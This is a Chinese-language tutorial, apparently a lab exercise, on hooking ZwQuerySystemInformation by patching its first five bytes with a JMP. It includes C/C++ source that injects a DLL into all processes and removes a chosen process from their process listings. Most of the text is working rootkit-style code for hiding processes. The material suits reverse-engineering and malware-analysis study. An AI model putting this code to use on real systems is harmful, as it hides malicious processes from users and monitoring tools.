on
API钩取--API代码修改技术
API代码修改技术原理
当库文件被加载到进程内存后, 在其目录映像中直接修改要钩取的API代码本身, 这就是API代码修改技术 (Code Patch). API代码修改技术将API的前5个字节修改为JMP XXXXXXXX
指令来钩取API. 调用执行被钩取的API时, (修改后的)JMP XXXXXXXX
指令就会被执行, 转而控制hooking
函数, 从而实现API Hook
.
例如, 向Process Explorer
进程 procexp.exe
注入stealth.dll
文件后钩取ntdll.ZwQuerySystemInformation()
, ntdll.ZwQuerySystemInformation()
API 是为了隐藏进程而需要钩取的API.具体的流程如下:
- 首先把
stealth.dll
注入目标进程, 钩取ntdll.ZwQuerySystemInformation()
API.ntdll.ZwQuerySystemInformation()
API起始地址的5个字节代码被修改为JMP 10001120
,10001120
是stealth.MyZwQuerySystemInformation()
API. procexp.exe
某地址处调用ntdll.ZwQuerySystemInformation()
(地址7C93D92E
).- 地址
7C93D92E
处的 (修改后的)JMP 10001120
指令将执行流转到stealth.dll
代码区域的10001120
地址处hooking
函数. 执行完hooking
函数后,CALL unhook()
指令用来将ntdll.ZwQuerySystemInformation()
API的起始5个字节恢复原值. - 在
CALL unhook()
指令后, 执行CALL EAX(7C93D92E)
调用原来的ntdll.ZwQuerySystemInformation()
函数 (函数前面已”脱钩”). ntdll.ZwQuerySystemInformation()
执行完毕后,RETN
指令将返回stealth.dll
代码区域. 然后再此调用CALL hook()
指令再次钩取ntdll.ZwQuerySystemInformation()
API, 即再次修改开始的五字节为JMP 10001120
.stealth.MyZwQuerySystemInformation()
执行完毕后,RETN
指令返回到procexp.exe
进程的代码区域, 继续执行.
进程隐藏工作原理
在用户模式下, 检测进程的相关API通常分为如下两类:
CreateToolhelp32Snapshot() & EnumProcess()
: 这两个API内部均调用了ntdll.ZwQuerySystemInformation()
API.ZwQuerySystemInformation()
: 这个API可以获取运行中的所有进程信息结构体, 形成一个链表. 操作该链表 (从链表中删除) 即可隐藏相关进程.
进程隐藏
实验环境为 Windows 7 (32位) 系统环境.
源代码分析
这个实验的目的是隐藏notepad.exe
进程, 并使钩取对象 procexp.exe
和taskmgr.exe
进程中不显示隐藏的进程.该实验中, 各部分的源代码如下:
1. HideProc.cpp
: 该程序负责向所有进程注入\卸载指定的DLL文件, 其核心函数InjectALLProcess()
代码如下:
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// 获取系统快照
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// 查找进程
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// 对于PID小于100的系统进程
// 不执行DLL注入操作
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
2. 实际的API钩取由Stealth.dll
文件实现. 首先是导出函数SetProcName()
:
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
这部分代码创建名为”./SHARE”的共享内存节区, 然后创建g_szProcName
缓冲区, 最后由导出函数SetProcName
将要隐藏的进程名称保存到g_szProcName
中.
3. DLLMain()
:
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// #1. 异常处理
// 若当前进程为HideProc.exe, 则终止, 不进行钩取
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
4. hook_by_code()
函数通过修改代码实现API钩取:
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 获取要钩取API的地址
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 若被钩取, 返回FALSE
if( pByte[0] == 0xE9 )
return FALSE;
// 向内存添加"写"属性
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 备份原有代码(5字节)
memcpy(pOrgBytes, pfnOrg, 5);
// 计算JMP地址 (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// Hook: 修改5个字节 (JMP XXXXXXXX)
memcpy(pfnOrg, pBuf, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
5. unhook_by_code()
函数用于取消钩取的操作:
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
// 获取API地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
// 若已脱钩, 则返回FLASE
if( pByte[0] != 0xE9 )
return FALSE;
// 向内存添加"写"属性, 准备写入原5字节
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 脱钩
memcpy(pFunc, pOrgBytes, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
6. NewZwQuerySystemInformation()
:
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 开始前先"脱钩"
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// 调用原始API
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// 仅针对SystemProcessInformation类型操作
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION 类型转换
// pCur 是单向链表的头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 比较进程名称
// g_szProcName 为要隐藏的进程名称
// (在SetProcName()设置)
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 从链表中删除隐藏进程的节点
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
// 链表的下一项
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
对NewZwQuerySystemInformation()
函数的简要说明如下:
- “脱钩”
ZwQuerySystemInformation()
函数; - 调用
ZwQuerySystemInformation()
; - 检查
SYSTEM_PROCESS_INFORMATION
结构体链表, 查找要隐藏的进程; - 查找到要隐藏的进程后, 从链表中移除;
- hook
ZwQuerySystemInformation()
测试
1. 编译链接上述源代码, 将stealth.dll
文件注入当前运行的所有进程, 如下图所示:
2. 使用Process Explorer
查看所有成功注入stealth.dll
文件的进程, 如下图:
可以看到, 所有进程PID大于100的进程都被注入了stealth.dll
文件, 并且procexp.exe
中原来存在的notepad.exe
也消失了.
因此, 通过API代码修改技术, 最终实现了指定进程的进程隐藏.